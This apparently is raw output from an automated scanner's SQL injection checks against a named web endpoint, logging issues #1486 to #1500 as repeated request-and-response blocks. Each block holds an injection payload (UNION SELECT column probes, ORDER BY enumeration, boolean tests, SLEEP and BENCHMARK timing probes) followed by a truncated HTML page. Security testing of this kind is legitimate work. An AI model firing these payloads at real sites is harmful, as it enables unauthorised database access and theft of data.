BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1486
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# %' AND 8310=8311 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1487
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 12ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1488
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 23--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1489Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1490
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' AND id IS NULL; --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1491
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1492
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1493
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1494
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# " "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1495
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1496
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# %' AND 8310=8310 AND '%'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1497
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1498
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1499
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1
=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1500
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1=0
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
